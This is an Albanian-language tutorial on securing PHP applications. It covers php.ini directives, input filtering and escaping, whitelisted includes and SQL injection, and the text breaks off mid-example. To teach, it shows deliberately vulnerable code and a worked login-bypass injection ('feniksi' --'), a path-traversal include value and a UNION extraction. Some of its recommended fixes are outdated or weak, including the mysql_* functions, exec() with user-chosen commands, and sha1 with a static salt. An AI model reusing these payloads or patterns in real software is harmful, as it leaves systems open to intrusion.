Si ç’do lexoni në vazhdim të guidës, fjalën “sulmues” do e përdor shpesh për t’ju referuar dikujt që tenton të gjejë vrima sigurie në aplikacione. E vërteta është se jo çdo person është negativ. Ndërsa disa mund të kenë qëllime përfitimi, si marrja e emaileve (për lista spam) apo e kartave të kreditit të anëtarëve, disa të tjerë mund ta bëjnë për hobi ose për të mësuar dhe nëse arrijnë ta thyejnë, me siguri do ju kontaktojnë për ta rregulluar. Nëse ndodh kjo e fundit, ju këshilloj nga eksperienca që ta lini egon mënjanë dhe ta konsideroni prioritar çdo lajmërim në lidhje me sigurinë. Nuk është çudi që një sulmues me qëllime të mira të kthehet kundra jush nëse e sheh që nuk ktheni përgjigje ose i përgjigjeni në mënyrën e gabuar.

Si do të jetë qëllimi i sulmuesit, ky i fundit mbetet një rrezik për sistemin dhe si ç’do mësoni më poshtë, askush nuk besohet.

Muri Mbrojtës

Siguria më e mirë vjen nga të qenurit paranoik dhe mos besimi i askujt. Gjatë të gjithë historisë së njerëzimit, mbretëritë ndërtonin mure mbrojtës për të lënë jashtë këdo që s’i përkiste dhe për t’ja bërë jetën ferr sulmuesëve. Sot, në botën e civilizuar, përdoren mjete si kamera dhe sisteme alarmi për të identifikuar dhe lajmëruar çdo “sulm” të mundshëm. Kur jashtë në rrugë jemi kaq paranoik, pse mos të jemi edhe në aplikacionet që kodojmë?

Besoj e kuptuat ku dua të dal! Mbrojtja më e mirë është mos besimi dhe ndërtimi i aplikacioneve në mënyrë të tillë ku çdo vizitor konsiderohet si sulmues. Ashtu si jo çdo person që futet në një qendër tregtare të monitoruar me kamera është keqbërës, edhe në aplikacione PHP jo çdo vizitor është sulmues. Problemi qendron se është e pamundur të parashikohet dhe nëse konsiderohen të gjithë “sulmues”, ju siguroj që do të jetë shumë më e lehtë të lini jashtë ata që vërtetë kanë qëllime keqdashëse. Mbrojtja nga sulmet duhet të kthehet në filozofi gjatë projektimit dhe programimit të sistemeve, jo thjeshtë në disa teknika tipike.

Për ta bërë pak më praktike, ideja e mos besimit të askujt do të thotë të mos besoni të dhënat hyrëse të askujt. Këto mund të jenë variabla në URL (GET), forma, sesione apo cookies. Praktikisht çdo e dhënë që mund të manipulohet në një sistem, konsiderohet si e dhënë hyrëse dhe absolutisht nuk duhet besuar. Nëse nuk dini akoma si ti identifikoni të dhënat hyrëse, mos u merakosni sepse në vazhdim do të qartësoheni.

Konfigurimi i PHP-së

PHP ka disa opsione konfigurimi që janë menduar të ndihmojnë programuesit të ndërtojnë aplikacione më solide, por që nga praktika kanë rezultuar më tepër problematik se sa të nevojshëm. Kjo s’është bërë me qëllim, sepse arkitektura e PHP-së dhe serverave ku egzekutohet ka ndryshuar shumë që nga versionet fillestare dhe heqja e opsioneve është proçes gradual. Në këtë moment, shumë prej këtyre opsioneve konsiderohen të braktisur dhe me siguri do të hiqen nga qarkullimi me versionet e reja.

Këto opsione të PHP-së quhen direktiva dhe përbëjnë konfigurimin e gjuhës. Vlerat mund të ndryshohen në php.ini (zakonisht: /etc/php.ini), me një php.ini të veçantë në hostet që e lejojnë, me një skedar .htaccess ose direkt me kod PHP përmes funksionit ini_set(). Alternativa më e mirë do të ishte ndryshimi direkt i php.ini në mënyrë që ndryshimet të jenë globale dhe jo specifike për aplikacione të ndryshme.

Register Globals

Register Globals është një direktivë e menduar për të thjeshtësuar manipulimin e variablave superglobale që vijnë nga format, url, cookie dhe sesionet. Vlerat e të gjitha variablave superglobale deklarohen automatikisht në kod PHP në variabla me të njëjtët emra. Për ta shpjeguar më mirë, supozojmë se kam një URL të tillë: index.php?faqja=rreth-nesh. Me register_globals të aktivizuar, parametrin “faqja” në adresë do mund ta përdorja në këtë formë:

<?php
echo $faqja; //do te printonte 'rreth-nesh'
?>

Duket e thjeshtë, por në të vërtetë është problematike. Praktikisht çdo variabël superglobale do të regjistrohej me një emër variable të njëjtë me vetë emrin e superglobales, përfshi këtu çdo tip. Pra, nëse do krijoja një parametër në URL me emrin “identifikuar” dhe një cookie me po të njëjtin emër, aplikacioni do kthehej në një lëmsh variablash të injektuara që potencialisht mbivendosin njëra tjetrën dhe hapin probleme të rënda sigurie. Për të ilustruar një problem tipik sigurie që vjen nga register_globals, po ju tregoj një shembull nga vetë manuali i PHP-së (sigurisht i kthyer në Shqip).

<?php
/*
	Vendos $identifikuar = true nese perdoruesi eshte identifikuar
*/
if (identifiko_perdoruesin()) {
    $identifikuar = true;
}
 
/*
	Nese $identifikuar eshte true, perfshihet nje skedar PHP qe permban
	te dhena sensitive. Duke qene se $identifikuar nuk eshte deklaruar
	fillimisht me vleren "false", kodit mund ti injektohet vlera e
	variables $identifikuar permes nje variable superglobale.
	Psh: faqja.php?identifikuar=1 do e regjistronte variablen
	$identifikuar me vleren 1 (true) dhe do i lejonte akses hyrje
	ne te dhenat sensitive kujtdo.
*/
if ($identifikuar) {
    include "/admin/te-dhena-sensitive.php";
}
?>

Do të ishte fatale nëse aplikacioni juaj do lejonte diçka të tillë, apo jo? Jo vetëm që register_globals injekton variabla në aplikacion duke e bërë burimin të vështirë të dallohet, por nëse nuk tregohet vëmendja e duhur, mund të rezultojë në probleme madhore sigurie. Çaktivizojeni që të jeni më të ndërgjegjshëm si dhe nga vijnë të dhënat hyrëse dhe përdorni variablat superglobale për secilën kërkesë: $_POST, $_GET, $_COOKIE dhe $_SESSION.

register_globals = off

Shumë ekspertë nuk ja vejnë fajin Register Globals për problemet që sjell, por vetë programuesëve. Edhe pse është e vërtetë që programuesi duhet të jetë më i përgjegjshëm në ato që kodon, kjo s’do të thotë që çdo zgjedhje në arkitekturën e gjuhës është e saktë. Për mendimin tim, Register Globals është zgjedhje e gabuar dhe rezultatet e kanë treguar. Në momentin që gjuha fillon të supozojë, është e sigurtë që ka probleme. Programuesi është ai që merr vendimet dhe gjuha duhet të mjaftohet ti ofrojë ndihmën për të arritur qëllimet, jo të “mendojë” për të!

Superglobalja $_REQUEST

Kjo nuk është direktivë e PHP-së, por një konstrukt i gjuhës dhe disa mund të argumentojnë se nuk është problem sigurie, por për mendimin tim (të cilin do e shpjegoj), sjell po aq probleme sigurie sa Register Globals. Praktikisht, $_REQUEST është shumë e ngjashme me Register Globals sepse tenton të ofrojë një variabël superglobale që mban vlerat e POST, GET, COOKIE dhe SESSION. Edhe këtu, origjina e të dhënave është e pa kuptueshme dhe si rrjedhim, mund të hapen vrima sigurie shumë të ngjashme me Register Globals të aktivizuar. I vetmi ndryshim është se kodi nuk injektohet nga variabla, por e ka në dorë programuesi ti përdorë ose jo.

Shembulli më poshtë tenton t’ju ilustrojë një rast ku përdorimi i pa ndërgjegjshëm i $_REQUEST mund të sjellë një problem të madh sigurie.

<?php
/*
	Kontrollohet nese eshte vendosur sesioni 'identifikuar',
	sesion i cili eshte krijuar ne login. Duke qene se nuk
	ka burim te specifikuar, nje sulmues mjafton te vendose nje
	parameter ne URL apo te krijoje nje COOKIE me emrin 'identifikuar'
	per te marre direkt akses ne te dhena sensitive.
*/
if (isset($_REQUEST['identifikuar'])) {
	include('admin/sensitive.php');
}
?>

Edhe pse shembulli është pak naiv, demonstron se përdorimi i $_REQUEST sjell të njëjtin problem si Register Globals: mos njohja e burimit. Mjafton të përdorni superglobalet e duhura për secilën tip kërkese: $_POST, $_GET, $_COOKIE dhe $_SESSION.

Magic Quotes

Magic Quotes është një direktivë që tenton ti pastrojë (escape) të dhënat nga POST, GET, COOKIE dhe SESSION automatikisht, për të shmangur problemet që sjellin kur ato të dhëna kërkohen të futen në databazë. Problemi qëndron se sërish gjuha “mendon” për ty, kur në fakt duhet të jetë programuesi ai që zgjedh nëse të dhënat duhet të pastrohen dhe të jetë i ndërgjegjshëm për këtë. Për më tepër, pastrimi nuk kryhet sipas specifikave të databazës që përdoret, gjë që e bën të rrezikshme. Çaktivizojeni si më poshtë:

; Magic Quotes per superglobalet GET/POST/Cookie.
magic_quotes_gpc = Off
 
; Magic Quotes per te dhena ne kohe reale: sql, exec(), etj.
magic_quotes_runtime = Off
 
; Magic Quotes ne stilin Sybase: ' me '', ne vend te \'.
magic_quotes_sybase = Off

Në vend që të mbështeteni tek Magic Quotes, përdorni manualisht funksionet specifikë të databazë. Për MySQL, do të shkruani një kod të tillë:

<?php
$emri = $_POST['emri'];
//emri i pastruar
$emri_p = mysql_real_escape_string($emri);
?>

Gabimet e Egzekutimit

PHP ka disa direktiva për gabimet e egzekutimit që duhet të përdoren në varësi të rastit. Le ti shohim me rradhë.

error_reporting është direktiva që vendos nivelin e raportimit të gabimeve. E mira është të aktivizoni nivelin maksimal të raportimit që të shihni çdo gabim të mundshëm që ndodh. Vendoseni në E_ALL ose më mira akoma, në E_ALL | E_STRICT për të parë edhe opsionet e abandonuara. Ndryshe nga direktivat e tjera që mund të vendosen gjatë egzekutimit me ini_set(), raportimi i gabimeve vendoset me funksionin error_reporting(). Sidoqoftë, si ç’e përmenda më sipër, alternativa më e mirë është ta vendosni në php.ini për te pasur efekt global.

error_reporting = E_ALL | E_STRICT

display_errors është një direktivë që përcakton nëse duhet të shfaqen gabimet ose jo. Në servera produksioni nuk do donit që vizitorët të shihnin çfarë gabimesh ndodhin gjatë egzekutimit. Për më tepër, sulmuesit mund të marrin të dhëna të rëndësishme si emra tabelash dhe kolonash në databazë. Në server testimi mbajeni të aktivizuar, ndërsa në produksion çaktivizojeni.

display_errors = Off

logs_errors është një direktivë që nëse aktivizohet, ruan gabimet në një skedar të caktuar. Në servera produksioni, ku display_errors është çaktivizuar, kjo është mënyra më e mirë për të monituar gabimet. Do ju ndihmojë te identifikoni probleme logjike në aplikacion, por gjithashtu edhe tentativa potenciale sulmesh nga dështimi i query-ve. Për të vendosur skedarin ku gabimet ruhen, duhet të vendosni direktivën error_log.

log_errors = On
; Mund te perdorni "syslog" si vlere e error_log per ti ruajtur gabimet ne logger-in e sistemit
error_log = /logs/gabimet.log

Safe Mode

Safe Mode është një direktivë e menduar për të ofruar mbrojtje në serverat shared, ku në një server mund të ruhen dhjetëra apo qindra klientë të ndryshëm. Ideja këtu është që Safe Mode kontrollon nëse një skedar ka të njëjtin “owner” (në kuptimin e të drejtave) me skriptin që po tenton ta lexojë apo ta shkruajë. Tentativa është të bllokojë aksesin nga klientë të tjerë në skedarë që nuk i përkasin atij. Edhe pse mendimi është i mirë dhe nëse do ishte efektiv, do bllokonte shumë probleme sigurie në servera shared, problemi qëndron se është e gabuar në nivel arkitekturor që të tilla çështje të zgjidhen nga PHP. Kjo pranohet në vetë manualin e PHP-së dhe nuk këshillohet që siguria të mbështetet në Safe Mode.

Në nivelin e PHP-së, Safe Mode funksionon pothuajse mirë. Por, kontrolli bëhet për PHP dhe përgjegjësia mbaron aty. Nëse tentohen të lexohen skedarë të huaj me Python, Perl apo çdo gjuhë tjetër që mund të egzekutohet në server, rezultati është drastik. Qëllimi i kësaj guide nuk është t’ju tregojë si të mbroni skedarë sensitivë në një server shared, përndryshe do zgjatej pa fund, por thjeshtë mbani mend të mos mbështeteni tek Safe Mode.

safe_mode = Off

Filtrimi dhe Pastrimi i të Dhënave

Në fillim të guidës ju thashë që s’duhet ti besoni askujt dhe duhet ta konsideroni këdo si një sulmues potencial. Kjo s’do të thotë thjeshtë që duhet ti shihni me dyshim vizitorët, se fundja nuk zgjidh shumë. Do të thotë se nuk duhet ti besoni të dhënave hyrëse. Çfarë janë këto të dhëna? Jo vetëm ato që vizitorëve u kërkohet të plotësojnë, por edhe ato që mund të manipulohen nga vizitorët, qofshin parametra GET, COOKIE, SESSION apo POST. Gabimi që programuesit bëjnë është supozimi se një teknikë nuk funksionon thjeshtë sepse ata s’e kanë dëgjuar ose sepse është e komplikuar të kryhet. Një sulmues që i ka vënë vetes qëllim të përftojë nga sistemi juaj, nuk do ndalojë lehtë. E vetmja mënyrë për t’ja bërë jetën e vështirë është të merrni të gjitha masat e mundshme.

Të dhënat hyrëse duhet të kalojnë në dy proçese: filtrim dhe pastrim. Të filtrosh të dhënat do të thotë që ti kthesh ato në një format të caktuar apo të sigurohesh që përmbajtja e tyre është e vlefshme. Në këtë mënyrë limitohet shumë fusha e veprimit të një sulmuesi, sepse i bllokon lirinë në manipulimin e të dhënave. Ndërsa të pastrosh të dhëna do të thotë që të fshish apo transformosh karaktere të caktuara të cilat mund të thyejnë query SQL apo të krijojnë probleme të përgjithshme sigurie. Pastrimin do e prek pak sepse do jetë më tepër në fokus në seksionet në vijim.

Pastrimi i të Dhënave që Përdoren në Query

Të dhënat që përdoren në query SQL janë ato që krijojnë problemet më të përhapura. Sulmi tipik do ishte SQL Injection, për të cilin do ju flas me detaje në vijim. Për tani, ju duhet të dini që të dhënat hyrëse që përdoren në një query SQL, duhen pastruar.

<?php
$emri = mysql_real_escape_string($_POST['emri']);
$rezultatet = mysql_query("SELECT * FROM vizitoret WHERE emri='$emri'");
?>

Funksioni mysql_real_escape_string() bën veprimet e duhura për ta pastruar tekstin nga karakteret që mund të thyejnë një query. Versione specifike të SQL përdorin funksione të ndryshëm, prandaj konsultoni manualin.

Pastrimi i Tageve HTML

Një aplikacion që i lejon vizitorët të fusin kod arbitrar HTML, automatikisht është vulnerabël ndaj një prej sulmeve më të përhapur: XSS (Cross Site Scripting). Për teknikën do ju flas me detaje në vijim, por për tani ju duhet të dini që çdo e dhënë hyrëse e cila në një moment do të printohet në faqe, duhet pastruar nga taget HTML. Mënyra më e mirë është duke përdorur funksionin htmlentities(), i cili i kthen taget HTML në entitite dhe i bën të shfaqen si tekst i thjeshtë dhe jo si kod.

<?php
$mesazhi = htmlentities($_POST['mesazhi']);
echo $mesazhi;
?>

Pastrimi i Komandave të Sistemit

PHP ofron një set funksionesh të specializuar për të egzekutuar komanda sistemi. Pra, përmes PHP mund të kryejmë veprime dhe të marrim rezultatin në nivel sistemi operativ. Funksionet vijnë me disa emra të cilët janë në thelb të njëjtë, por kryesisht ndryshojnë nga kthimi i rezultatit. Ndryshimi midis secilit është jashtë qëllimit të kësaj guide, prandaj do të fokusohem në atë që personalisht preferoj: exec(). Gjithçka vlen edhe për funksionet e tjera, si: system(), passthru(), etj.

Le të themi se dua të egzekutoj një komandë në një sistem Linux, ku dua të listoj të gjithë skedarët, përfshi ata të fshehurit. Komanda në këtë rast do të ishte: “ls -a”. Kthimi i rezultatit (output-i) në këtë rast s’na intereson, kështu që e mbajmë të thjeshtë:

<?php
exec('ls -a');
?>

Fare e thjeshtë, apo jo? Edhe pse një funksion i fuqishëm që përdor direkt sistemin operativ, fuqia është aq e madhe sa që nëse nuk përdoret me kujdes, mund ti lihet një sulmuesi akses direkt në sistem. Normalisht, duhet të shmangni përdorimin e tij dhe të përdorni funksionet e PHP-së. Nëse patjetër duhet ti përdorni, të paktën tregohuni super të kujdesshëm!

Një problem i madh që mund të lindë me egzekutimin e komandave të sistemit është kur këto komanda vijnë nga të dhëna hyrëse. Sulmuesit mund të vendosin karaktere që i lejojnë të egzekutojnë komanda të futura nga ata, për ta bërë teknikën tmerrësisht të rrezikshme. Për fat të mirë, PHP ofron dy funksione për ti pastruar karakteret që mund të thyejnë një komandë sistemi. Shikoni shembullin e thjeshtë më poshtë:

<?php
$komanda = escapeshellcmd($_GET['kom']);
$argumentet = escapeshellarg($_GET['arg']);
 
exec("$komanda $argumentet");
?>

Validimi i Tipit të të Dhënave

Në shumë raste, të dhënat hyrëse mjafton të jenë një tip i caktuar. Kjo është tipike për ID-të në databazë, të cilat janë numerike. Po ju tregoj një shembull të një kodi me të dhëna hyrëse të pa validuara, duke supozuar që kemi një parameter GET ‘id’: index.php?id=xx.

<?php
$id = $_GET['id'];
 
$rezultatet = mysql_query("SELECT titulli, permbajtja FROM artikujt WHERE id=$id");
?>

Kam marrë ID-në nga superglobalja $_GET për ta përdorur në një query SQL. Do shihni që në query, variablën $id e kam shkruar pa thonjëza për ta trajtuar si numër. Kjo është tërësisht normale dhe funksionon shumë mirë, por ka një problem të madh! Çfarë ndodh nëse parametri GET modifikohet nga një sulmues për ta bërë string? Query do të dështojë! Ky s’është i vetmi problem, sepse fundja nuk është fundi i botës nëse një query dështon. Problemi i madh është se i hap rrugën sulmuesit për të kryer veprime shumë më të rrezikshme si SQL Injections. Për të do të flas më tej gjatë guidës, por për tani ju duhet të dini që lejimi i një të dhëne të tillë të pa validuar është e rrezikshme.

Validimi në këtë rast është i thjeshtë sepse e dimë që ID do të jetë numër. Në PHP ka disa alternativa për të kontrolluar tipin e të dhënave ose për ta konvertuar atë. Shikoni shembujt më poshtë.

Përdor type casting për ta detyruar $id-në të kthehet në INT (integer – numër i plotë). Kjo është mënyrë e mirë për të validuar sepse nuk bën thjeshtë krahasim, por e konverton.

<?php
/*
	E kthej $id-ne ne integer. Cfaredo vlere te permbaje, nese eshte e mundur
	te kthehet ne nje numer te vlefshem, do te kthehet. Ne rastet kur eshte e pamundur
	do te kthehet ne 0. Psh: 145abc#' => 145, abc9483 => 0
*/
$id = (int) $_GET['id'];
 
$rezultatet = mysql_query("SELECT titulli, permbajtja FROM artikujt WHERE id=$id");
 
/*
	Kontrollon nese query nuk ka kthyer te pakten nje rezultat dhe shfaq nje mesazh
	per te lajmeruar qe artikulli nuk egziston.
*/
if (!mysql_num_rows($rezultatet)) {
	echo 'Artikulli nuk egziston';
}
?>

Përdor funksionin ctype_digit() për të kontrolluar nëse të gjitha karakteret janë numra. Edhe nëse një karakter i vetëm nuk është numër, funksioni kthen FALSE. Kini kujdes sepse para PHP 5.1.0, ctype_digit() kthente TRUE edhe nëse vlera ishte bosh.

<?php
$id = $_GET['id'];
 
/*
	Nese ctype_digit() kthen TRUE, do te thote qe $id eshte numer.
	Ne te kundert, shfaq nje mesazh gabimi.
*/
if (ctype_digit($id)) {
	$rezultatet = mysql_query("SELECT titulli, permbajtja FROM artikujt WHERE id=$id");
} else {
	echo 'Identifikuesi i Artikullit eshte i pavlefshem';
}
?>

Përdor funksionin filter_var() që nga PHP 5.2. Ky funksion është pak më fleksibël se dy metodat më sipër sepse tenton ta konvertojë në një tip të dhëne të caktuar (në rastin tonë në INT), por gjithashtu kthen FALSE nëse konvertimi nuk ishte i suksesshëm.

<?php
/*
	Tenton ta konvertoje ne INT (permes filtrit FILTER_VALIDATE_INT).
	Nese eshte numer (qofte edhe numer si string), do te ktheje vete numrin.
	Nese nuk eshte numer, do te tkheje false.
*/
$id = filter_var($_GET['id'], FILTER_VALIDATE_INT);
 
/*
	Nese nuk kthen FALSE, do te thote se $id eshte INT.
*/
if ($id) {
	$rezultatet = mysql_query("SELECT titulli, permbajtja FROM artikujt WHERE id=$id");
} else {
	echo 'Identifikuesi i Artikullit eshte i pavlefshem';
}
?>

Këto ishin tre teknika tipike për të validuar tipin e të dhënës dhe për të mënjanuar sulme, por edhe probleme logjike në aplikacion. Edhe pse unë u fokusova në numra për t’ju dhënë idenë, type casting, filter_var() dhe ctype_*() mund të përdoren për tipe të ndryshme të dhënash.

Listat e Bardha

Listat e bardha, ose si ç’mund ti keni dëgjuar në Anglisht, whitelists, janë mënyra më e mirë për të filtruar të dhënat të cilat njihen. Mendojeni sikur doni të bleni një celular dhe keni vendosur të jetë njëri prej tre modeleve: iPhone 4S, Nexus S dhe Galaxy S2. Praktikisht keni krijuar një listë të bardhë me tipet e celularëve që doni të merrni dhe çdo model tjetër nuk konsiderohet. Edhe në aplikacione web, logjika është e ngjashme.

Përfshirja e skedarëve PHP në mënyrë dinamike është një praktikë normale programimi. Mund të keni një parametër GET në bazë të të cilit përfshihet skedari PHP. Po ju tregoj një shembull ku s’përdor listë të bardhë. URL supozohet të jetë: index.php?faqja=xxx.

<?php
$faqja = $_GET['faqja'];
 
/*
	Supozoj qe parametri URL eshte ne formen:
	"rreth" apo "kontakt" dhe skedari PHP eshte:
	"rreth.php" apo "kontakt.php".
*/
include($faqja . '.php');
?>

Nëse merrni kohën ta gjykoni shembullin më sipër, do kuptoni se ka një problem fatal sigurie. Variabla $faqja, e cila vjen nga GET, mund të ketë çfarëdo vlere dhe kodi s’bën asgjë për ta shmangur këtë. Imagjinoni që një sulmues të modifikojë parametrin “faqja” në URL në: ../admin/skedar-sensitiv. Kodi më sipër s’do t’ja dijë se cilin skedar po përfshin për aq kohë sa egziston. Sulmuesi mund të navigojë nëpër skedarë sistem dhe për aq kohë sa hamendëson emra skedarësh PHP, mund të gjejë të dhëna që nuk supozohej ti shihte. Imagjinoni nëse në include() nuk përfshihej pjesa “.php”, që në një farë mënyre e limiton veprimin. Do ishte e tmerrshme sepse sulmuesi do mund të lexonte gjithçka.

Për ta mënjanuar këtë problem do të përdor një listë të bardhë që përcakton çfarë skedarësh mund të përfshihen. Meqë jemi në temë, po ju përmend edhe direktivën e PHP-së: open_basedir(), e cila limiton fushën e veprimit në skedarë të caktuar. Edhe pse është zgjidhje e mirë të implementohet nëpër aplikacione, jo gjithmonë është e mundur dhe më e rëndësishmja, aplikacioni duhet të jetë i sigurt në nivel kodi më parë, dhe së dyti në nivel konfigurimi. Le të shohim shembullin e përdorimit të listës e mos të shpërqëndrohemi më tepër.

<?php
$faqja = $_GET['faqja'];
/*
	Kam supozuar se jane disa faqe qe egzistojne. Emrat e seciles
	i kam futur ne nje vektor.
*/
$lista = array('rreth-nesh', 'kontakt', 'produktet');
 
/*
	in_array() kthen TRUE nese nje vlere egziston ne nje vektor.
	Ne kete rast, kontrollon nese $faqja egziston ne vektorin $lista.
*/
if (in_array($faqja, $lista)) {
	include("faqet/$faqja.php");
}
?>

Fare pak kod më tepër, e thjeshtë për tu implementuar dhe tërësisht e sigurt. I vetmi problem që kodi ka është puna manuale që kërkon për të mbushur vektorin $lista me faqet. Për sisteme të vogla mund të mos jetë problem, por nëse numri i faqeve është i madh dhe rritet shpesh, mirëmbajtja do të bëhej e vështirë. Në ato raste, mund të shkruani një kod më dinamik si më poshtë.

<?php
$faqja = $_GET['faqja'];
/*
	Nderton adresen e plote te faqes.
*/
$faqja = "faqet/$faqja.php";
 
/*
	Glob kthen nje vektor me te gjithe skedaret qe ndodhen
	brenda nje direktorie. Ne kete rast doja te gjithe skedaret
	PHP, prandaj kam shkruar *.php. Vektori i kthyer do te jete
	i formes:
 
	array('faqet/rreth-nesh.php', 'faqet/kontakt.php');
*/
$lista = glob('faqet/*.php');
 
if (in_array($faqja, $lista)) {
	include($faqja);
}
?>

Ata të fiksuar pas optimizimit, mund ti ruajnë rezultatet e glob() në një skedar tekst dhe ta rifreskojnë herë pas here. Një formë e thjeshtë caching. Sidoqoftë, pak mbi-ngarkesë ja vlen kur në temë hyn siguria dhe integriteti i të dhënave.

Mbani mend që të filtroni të dhënat qoftë sipas tipit apo përmes listave të bardha aty ku është e mundur. Jo vetëm që do të përmirësoni logjikën e aplikacionit, duke ofruar mesazhe në rast gabimesh, por edhe do pengoni disa probleme të rëndësishme sigurie. Megjithatë, në vijim do shihni që filtrimi i të dhënave është vetëm një pjesë e punës. Problemet kryesore të sigurisë lindin nga mos pastrimi i tyre.

SQL Injections

Besoj se në veshët e shumicës, SQL Injections është e dëgjuar. Në fakt, ky është problemi i sigurisë më i përhapur dhe “fajtor” i sulmimit të suksesshëm të një numri të papërcaktueshëm faqesh. Sidomos nëse kthehemi pak vite prapa në kohë, atëherë kur resurset e mësimit dhe praktikat e kodimit të mirë të pavendosura, dhe rrjedhimit programuesit të painformuar. Kanë kontribuar shumë edhe aplikacione me kod të hapur të koduara në mënyrën më të keqe të mundshme (PHP-Nuke?) që për fat të keq përdoreshin në masë.

SQL Injections janë sulme që synojnë databazat, si ç’mund ta kuptoni nga emri. Në thelb, sulmuesi modifikon të dhënat hyrëse për të manipuluar query-t SQL që të marrë informacionë, të shtojë ose në rastet ekstreme, edhe të fshijë tabela të tëra. E gjitha është një lojë nervash dhe fati, për të gjetur emrat e duhur të kolonave dhe tabelave në mënyrë që të marrin informacionet e rëndësishme si fjalëkalim administratori, emaile, karta krediti, etj. Në rastet ekstreme që përmend pak më parë, nëse të drejtat e lejojnë, mund edhe të fshihen tabela. Kjo është jo tipike, por jo se s’ka ndodhur…

SQL Injections prekin çdo sistem databazash që ndërvepron me SQL. Mund të jetë Oracle, MsSQL, MySQL, SQLite, etj. Në shembuj unë do përdor MySQL, si databaza de-facto në aplikacionet PHP.

Për ta demonstruar teknikën në veprim, le të shohim një shembull tipik: një formë e cila identifikon anëtarët. Përmban një formë HTML dhe pak kod PHP, të pa pastruar, që identifikon anëtarin.

<form method="post">
	<label>Emri</label>
	<input type="text" name="emri" />
	<label>Fjalekalimi</label>
	<input type="password" name="fjalekalimi" />
	<button type="submit">Identifikohu</button>
</form>

<?php
if (isset($_POST['emri'])) {
	$emri = $_POST['emri'];
	$fjalekalimi = $_POST['fjalekalimi'];
 
	$fjalekalimi = md5($fjalekalimi);
 
	$rezultatet = mysql_query("SELECT * FROM anetaret WHERE emri='$emri' AND fjalekalimi='$fjalekalimi'") or die(mysql_error());
	if (mysql_num_rows($rezultatet)) {
		include('paneli-anetarit.php');
	}
}
?>

Kodi më sipër e bën punën! Nëse anëtari fut një kombinim të saktë emri dhe fjalëkalimi, do të marrë akses në panelin e anëtarit. Ajo që shumë programues fillestarë (dhe ndonjëherë edhe ata me eksperiencë) nuk logjikojnë këtu është se po i japin dorë të lirë sulmuesëve të modifikojnë kodin SQL. Por, përpara se t’ju tregoj sa e lehtë është të mënjanohet problemi, po ju tregoj si mund të sulmohet forma e mësipërme.

Nëse fus në formë fus emrin: feniksi dhe fjalëkalimin: 123456, query SQL që do të egzekutohet do të jetë i tillë:

SELECT * FROM anetaret WHERE emri='feniksi' AND fjalekalimi='e10adc3949ba59abbe56e057f20f883e'

Sulmuesi bën një test për të parë nëse aplikacioni “vuan” nga SQL Injections duke shtuar një thonjzë teke në emër. Pra, emri bëhet: feniksi’ . Query SQL do të duket si më poshtë:

SELECT * FROM anetaret WHERE emri='feniksi'' AND fjalekalimi='e10adc3949ba59abbe56e057f20f883e'

Vini re dy thonjëzat teke pas “feniksi”! Një sintaksë e tillë është e gabuar në SQL dhe rrjedhimisht do të prodhohet një gabim, i cili do të shfaqet nga funksioni mysql_error() që kam shkruar. Në këtë moment, sulmuesi e di që aplikacioni s’bën asgjë për të pastruar të dhënat dhe këtu fillon loja. Rasti jonë është aq vulnerabël sa sulmuesi mund të identifikohet vetëm duke ditur (ose hamendësuar) një emër, pa pasur nevojë të dijë fjalëkalimin.

Emrin e modifikoj sërisht, tani për ta bërë: feniksi’ – . Query SQL do të jetë e tillë:

SELECT * FROM anetaret WHERE emri='feniksi' --' AND fjalekalimi='e10adc3949ba59abbe56e057f20f883e'

Dy minuset janë komente në MySQL. Ajo që kam bërë më sipër është fare e thjeshtë dhe diçka që edhe një sulmues 10 vjeçar e di. Kam instruktuar që të kontrolloj për një emër “feniksi” dhe kam komentuar të gjithë kodin në vazhdim. Pra, kam komentuar pjesën ku kontrollohet fjalëkalimi. Fatale apo jo? Sulmuesi mund të identifikohet thjeshtë duke shkruar emrin! Ky emër mund të jetë “admin” dhe automatikisht ka marrë kredencialet e administratorit.

Imagjinoni sisteme më komplekse ku anëtarët kanë të ruajtur në databazë të dhëna sensitive. Sulmuesit i mjafton të bashkojë një query SQL egzistuese me një query që e shkruan ai, përmes UNION, që të marrë të dhëna nga kushdo tabelë që i intereson.

Shmangja e SQL Injections

Për fat të mirë, pastrimi i të dhënave dhe shmangja e SQL Injections është fare e thjeshtë. Për fat të keq, programuesëve u janë dashur vite ta mësojnë këtë praktikë dhe me siguri ka akoma programues me eksperiencë që nuk marrin masa. Për të ardhur keq…

Kodi më poshtë është modifikuar që të pastrojë të dhënat dhe ti nxjerrë tërësisht jashtë loje sulmet SQL Injection. E gjitha bazohet në një funksion të vetëm, i cili duhet t’ju bëhet rutinë.

<?php
if (isset($_POST['emri'])) {
	/*
		Kam pastruar emrin me mysql_real_escape_string(), i cili
		ben escape (shton: \) karakteret qe mund te thyejne nje
		query SQL. Ketu perfshihen edhe thonjezat teke dhe dyshe.
 
		Fjalekalimin nuk e kam pastruar sepse konvertohet ne md5()
		perpara se te perdoret ne SQL.
	*/
	$emri = mysql_real_escape_string($_POST['emri']);
	$fjalekalimi = $_POST['fjalekalimi'];
 
	$fjalekalimi = md5($fjalekalimi);
 
	$rezultatet = mysql_query("SELECT * FROM anetaret WHERE emri='$emri' AND fjalekalimi='$fjalekalimi'") or die(mysql_error());
	if (mysql_num_rows($rezultatet)) {
		include('paneli-anetarit.php');
	}
}
?>

Më e thjeshtë se kaq, s’ka ku të shkojë. Po e rithem: funksionin mysql_real_escape_string(), ose çfarëdo funksioni përdor databaza që keni zgjedhur, bëjeni rutinë. Një praktikë kaq minimale shmang aq shumë probleme madhore sigurie.

Për t’ju dhënë pak përmbajtje ekstra, po e rishkruaj shembullin më sipër të jetë edhe më i sigurt. Nuk do të përdor md5(), sepse është provuar që mund të thyhet pa shumë mund, dhe do të përdor SALT për të rritur sigurinë e fjalëkalimeve. Gjithashtu do të heq pjesën: or die(mysql_error()), e cila të ndihmon gjatë kodimit, por s’duhet të egzistojë në mjedis produksioni. Po kujtoj këtu direktivën display_errors.

<?php
if (isset($_POST['emri'])) {
	$emri = mysql_real_escape_string($_POST['emri']);
	$fjalekalimi = $_POST['fjalekalimi'];
	$kripeza = 'Feniksi.com';
 
	/*
		Kripeza eshte nje tekst arbitrar qe i bashkangjitet fjalekalimit
		per ta bere me te veshtire gjetjen e tij, sidomos per fjalekalime
		te thjeshta. Mund te jete nje fjale statike apo dinamike, per aq
		kohe sa ruhet diku dhe perdoret e njejta ne krijimin e fjalekalimit
		dhe krahasimet e tij.
	*/
	$fjalekalimi = sha1($fjalekalimi . $kripeza);
 
	$rezultatet = mysql_query("SELECT * FROM anetaret WHERE emri='$emri' AND fjalekalimi='$fjalekalimi'");
	if (mysql_num_rows($rezultatet)) {
